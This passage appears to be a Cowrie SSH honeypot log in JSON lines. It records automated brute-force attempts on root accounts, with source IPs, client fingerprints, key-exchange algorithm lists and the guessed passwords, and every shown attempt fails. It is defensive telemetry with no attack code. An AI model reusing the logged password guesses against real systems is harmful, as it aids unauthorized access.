tp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:14.759310Z","src_ip":"41.93.28.9","session":"2985420ca958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luanda","message":"login attempt [root/luanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:21.039295Z","src_ip":"41.93.28.9","session":"2985420ca958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:23.078926Z","src_ip":"41.93.28.9","session":"2985420ca958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45072,"dst_ip":"159.203.135.109","dst_port":22,"session":"def820c7d179","protocol":"ssh","message":"New connection: 103.77.242.62:45072 (159.203.135.109:22) [session: def820c7d179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:35.034591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:35.042995Z","src_ip":"103.77.242.62","session":"def820c7d179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:35.279409Z","src_ip":"103.77.242.62","session":"def820c7d179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:35.990192Z","src_ip":"103.77.242.62","session":"def820c7d179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:37.227898Z","src_ip":"103.77.242.62","session":"def820c7d179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e84940275bc","protocol":"ssh","message":"New connection: 38.253.239.21:36488 (159.203.135.109:22) [session: 9e84940275bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:39.754897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:39.759475Z","src_ip":"38.253.239.21","session":"9e84940275bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:39.986613Z","src_ip":"38.253.239.21","session":"9e84940275bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ylngylng","message":"login attempt [root/ylngylng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:40.927039Z","src_ip":"38.253.239.21","session":"9e84940275bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:42.158256Z","src_ip":"38.253.239.21","session":"9e84940275bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"129d7206b83c","protocol":"ssh","message":"New connection: 43.130.57.37:53468 (10.17.0.5:22) [session: 129d7206b83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:46.657030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:46.661583Z","src_ip":"43.130.57.37","session":"129d7206b83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:46.730771Z","src_ip":"43.130.57.37","session":"129d7206b83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiao123456","message":"login attempt [root/xiao123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:47.040392Z","src_ip":"43.130.57.37","session":"129d7206b83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:43:48.112866Z","src_ip":"43.130.57.37","session":"129d7206b83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9cc3922de2","protocol":"ssh","message":"New connection: 103.173.227.57:47538 (159.203.135.109:22) [session: 6c9cc3922de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:01.376804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:01.385729Z","src_ip":"103.173.227.57","session":"6c9cc3922de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:01.626716Z","src_ip":"103.173.227.57","session":"6c9cc3922de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrei123","message":"login attempt [root/andrei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:02.352094Z","src_ip":"103.173.227.57","session":"6c9cc3922de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:03.599195Z","src_ip":"103.173.227.57","session":"6c9cc3922de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":43100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8b89a6025a","protocol":"ssh","message":"New connection: 43.228.112.254:43100 (10.17.0.5:22) [session: 4f8b89a6025a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:04.803743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:04.810821Z","src_ip":"43.228.112.254","session":"4f8b89a6025a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:05.037767Z","src_ip":"43.228.112.254","session":"4f8b89a6025a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:05.963230Z","src_ip":"43.228.112.254","session":"4f8b89a6025a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35556,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87a2a01eebe","protocol":"ssh","message":"New connection: 87.251.79.125:35556 (10.17.0.5:22) [session: e87a2a01eebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:07.040311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:07.045324Z","src_ip":"87.251.79.125","session":"e87a2a01eebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:07.116515Z","src_ip":"87.251.79.125","session":"e87a2a01eebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:07.188254Z","src_ip":"43.228.112.254","session":"4f8b89a6025a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123567","message":"login attempt [root/123567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:07.331706Z","src_ip":"87.251.79.125","session":"e87a2a01eebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:08.406068Z","src_ip":"87.251.79.125","session":"e87a2a01eebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36996,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c9cc26bfb2","protocol":"ssh","message":"New connection: 103.176.20.57:36996 (10.17.0.5:22) [session: 86c9cc26bfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:17.750604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:17.756015Z","src_ip":"103.176.20.57","session":"86c9cc26bfb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.009984Z","src_ip":"103.176.20.57","session":"86c9cc26bfb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51558,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a270a61e25f","protocol":"ssh","message":"New connection: 193.37.70.224:51558 (159.203.135.109:22) [session: 2a270a61e25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.251273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.255649Z","src_ip":"193.37.70.224","session":"2a270a61e25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.349120Z","src_ip":"193.37.70.224","session":"2a270a61e25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karate","message":"login attempt [root/karate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.629341Z","src_ip":"193.37.70.224","session":"2a270a61e25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gggggggg","message":"login attempt [root/gggggggg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:18.757006Z","src_ip":"103.176.20.57","session":"86c9cc26bfb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:19.725122Z","src_ip":"193.37.70.224","session":"2a270a61e25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:44:20.007883Z","src_ip":"103.176.20.57","session":"86c9cc26bfb2","protocol":"ssh"}
